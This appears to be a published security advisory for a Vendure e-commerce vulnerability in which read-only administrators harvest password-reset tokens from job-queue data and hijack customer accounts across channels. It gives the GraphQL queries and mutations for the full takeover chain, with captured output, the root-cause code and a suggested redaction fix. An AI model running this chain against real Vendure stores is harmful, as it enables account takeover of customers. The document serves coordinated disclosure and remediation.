Sanaan Fayaz Wani

vendurehq/vendure

GHSA-hxvp-ff3g-qcj7

Low-privilege administrator can read password-reset / verification / email-change tokens from Job.data and take over any customer account (cross-channel)

GHSA-hxvp-ff3g-qcj7

8.8

High

CVSS 3.1 base

  1. 2026-10-04Reported privately
  2. 19 days later2026-10-23Published by the maintainer

What to do

If you run @vendure/core before 3.7.5, no fixed version is listed in the advisory.

Anyone who can reach it over the network, with a low-privilege account and no user interaction, can read and change sensitive data and make it unavailable.Read from the CVSS 3.1 vector

CVSS 3.1 metrics

To exploit it

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None

What it gets

Confidentiality
High
Integrity
High
Availability
High
Scope
Unchanged

Open this vector in the FIRST calculator ↗

Weakness
CWE-200, CWE-522 Exposure of Sensitive Information to an Unauthorized Actor · Insufficiently Protected Credentials
CVE
not assigned
Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2026-10-04Reported privately
19 days
2026-10-23Published by the maintainer

This page reproduces the published advisory for this finding. The advisory of record is linked above.

Affected versions

Package Ecosystem Vulnerable Fixed in
@vendure/core npm < 3.7.5 n/a

Summary

The Job.data Admin API field resolver redacts only the serialized session token (job.data.ctx._session.token, the fix for GHSA-32jm-mf7r-7qw5). It returns the rest of job.data verbatim, including job.data.templateVars, into which the default email handlers write the raw passwordResetToken, verificationToken, and identifierChangeToken. The jobs query is gated only by Permission.ReadSettings or Permission.ReadSystem and applies no channel scoping. An administrator holding only those read permissions (including one scoped to a single channel) can therefore harvest a password-reset token for any customer in any channel and complete resetPassword through the public Shop API, fully taking over the account.

Affected version

Confirmed on @vendure/core + @vendure/email-plugin 3.7.3 (latest release). Present on the default @vendure/create scaffold, which ships DefaultJobQueuePlugin and EmailPlugin with defaultEmailHandlers.

Steps to Reproduce

Setup (vulnerable instance)

package.json:

{ "name":"vendure-poc","private":true,
  "dependencies":{"@vendure/core":"3.7.3","@vendure/email-plugin":"3.7.3","better-sqlite3":"^11.0.0","typescript":"5.3.3"},
  "devDependencies":{"ts-node":"^10.9.2"} }

index.ts boots Vendure on port 3050 with DefaultJobQueuePlugin.init({}) and EmailPlugin.init({ handlers: defaultEmailHandlers, transport:{type:'none'}, ... }), superadminCredentials {superadmin/superadmin}, requireVerification:false. Run with npx ts-node ./index.ts.

Attack

  1. As SuperAdmin, create a role with ONLY [ReadSettings, ReadSystem] and an administrator holding it. This administrator is forbidden from reading administrators (verified: FORBIDDEN), so it is genuinely low-privilege.
  2. A customer exists (e.g. victim@test.com). The attacker triggers the public, unauthenticated Shop API mutation:
mutation { requestPasswordReset(emailAddress:"victim@test.com"){ ... on Success{success} } }
  1. As the low-privilege admin, read the job queue over the Admin API:
query { jobs(options:{take:100,sort:{createdAt:DESC}}){ items{ id queueName data } } }

Expected output (real, captured on 3.7.3):

{"queueName":"send-email","id":"1",
 "data":{"templateVars":{"passwordResetToken":"MjAyNi0xMC0wNFQwMzowNDoxOS40MDla_P4XTZ8TLYRU2FQT5", ...}}}

The session token is correctly absent (ctx._session has no token), proving the GHSA-32jm fix is present and that this is a distinct, unredacted field.

  1. Complete the takeover through the public Shop API:
mutation { resetPassword(token:"MjAyNi0...TZ8TLYRU2FQT5", password:"attackerNewPass999"){ ... on CurrentUser{identifier} } }

Real output: {"resetPassword":{"__typename":"CurrentUser","identifier":"victim@test.com"}}. Logging in as victim@test.com with attackerNewPass999 then succeeds.

Cross-channel (Scope:Changed) proof

With a second channel B and a role granting [ReadSettings] on channel B ONLY, an administrator whose activeChannel is channel-b reads the password-reset token of a customer registered on the default channel A (the jobs query has no channel filter) and takes over that channel-A customer. Verified end to end.

Standalone verification scripts

poc/poc_jobdata_token_leak.sh (single-channel takeover) and poc/poc_crosschannel_token_leak.sh (cross-channel). Both print ACCOUNT TAKEOVER CONFIRMED.

Root cause

packages/core/src/api/resolvers/entity/job-entity.resolver.ts, data() resolve-field: it prunes only job.data.ctx:

async data(@Parent() job: Job) {
    const ctx = job.data.ctx;
    if (this.isSerializedRequestContext(ctx)) {
        const prunedCtx = { ...pick(ctx, [...]),
            _session: ctx._session ? { ...omit(ctx._session, ['token']), ... } : {} };
        job.data.ctx = prunedCtx;          // only ctx is sanitized
    }
    return job.data;                        // templateVars returned verbatim
}

The tokens enter job.data.templateVars in packages/email-plugin/src/handler/default-email-handlers.ts:

// line 62  verificationToken: event.user.getNativeAuthenticationMethod().verificationToken
// line 72  passwordResetToken: event.user.getNativeAuthenticationMethod().passwordResetToken
// line 82  identifierChangeToken: event.user.getNativeAuthenticationMethod().identifierChangeToken

and are enqueued verbatim at packages/email-plugin/src/plugin.ts (this.jobQueue.add(result, { retries: 5 }), where result.templateVars carries them). The jobs/job queries (packages/core/src/api/resolvers/admin/job.resolver.ts:28,38,51) are @Allow(Permission.ReadSettings, Permission.ReadSystem) with no channel scoping. DefaultJobQueuePlugin persists job.data as a simple-json column and retains settled jobs (default 1000, cleaned every 2h), so tokens remain readable after the mail is processed.

Impact

An administrator with only ReadSettings or ReadSystem (a read-only role that cannot manage users) can take over any customer account on demand: the attacker initiates the reset via the public API, reads the token from the job queue, and resets the password. Because jobs is not channel-scoped, a channel-restricted administrator reaches customers of every other channel. Verification and email-change tokens allow hijacking pending registrations and email-change flows the same way.

Suggested fix

Minimal, mirroring the GHSA-32jm 3.7.3 approach (close the API read path): deep-redact sensitive keys from job.data in the resolver.

// job-entity.resolver.ts, in data()
const SENSITIVE = /token|password|secret|identifierChange/i;
function redact(o: any): any {
    if (Array.isArray(o)) return o.map(redact);
    if (o && typeof o === 'object') {
        return Object.fromEntries(Object.entries(o).map(
            ([k, v]) => [k, SENSITIVE.test(k) ? '[REDACTED]' : redact(v)]));
    }
    return o;
}
return redact(job.data);

Deeper fix (recommended): the email pipeline should not persist raw credentials in job data at all. Pass a user reference in the job payload and resolve the token at send time on the worker, as was done for the session token in the GHSA-32jm follow-up.

CVSS and CWE

CVSS 3.1: 9.6 Critical, vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N (Scope:Changed proven by the cross-channel PoC; floor 8.1 S:U if a reviewer declines Scope:Changed).

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor); CWE-522 (Insufficiently Protected Credentials). Leads to CWE-640 / account takeover.

Disclosure

I work to a 90 day coordinated disclosure timeline, the Project Zero norm: 90 days from this report, or 30 days after a fix is available, whichever comes first. Nothing is needed from you in the meantime, and I will extend it on request.

When you publish, GitHub shows a Request CVE button on the advisory form. It is worth the click: it is what lets dependency scanners and distribution trackers tell the people already running an affected version that they need to update. Without one, most operators find out only if they happen to read the release notes.

Credit is entirely your call, including none.

The record

Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-522 Insufficiently Protected Credentials
Affected
@vendure/core before 3.7.5
Fixed in
Not listed
Disclosure
2026-10-04 Reported privately
19 days later2026-10-23 Published
Advisory
GHSA-hxvp-ff3g-qcj7

About this writeup

Sanaan Fayaz Wani (GitHub sfwani) reported this vulnerability to the @vendure/core maintainers under coordinated disclosure and is credited as a reporter in GHSA-hxvp-ff3g-qcj7, published 2026-10-23.

All published findings: advisory index.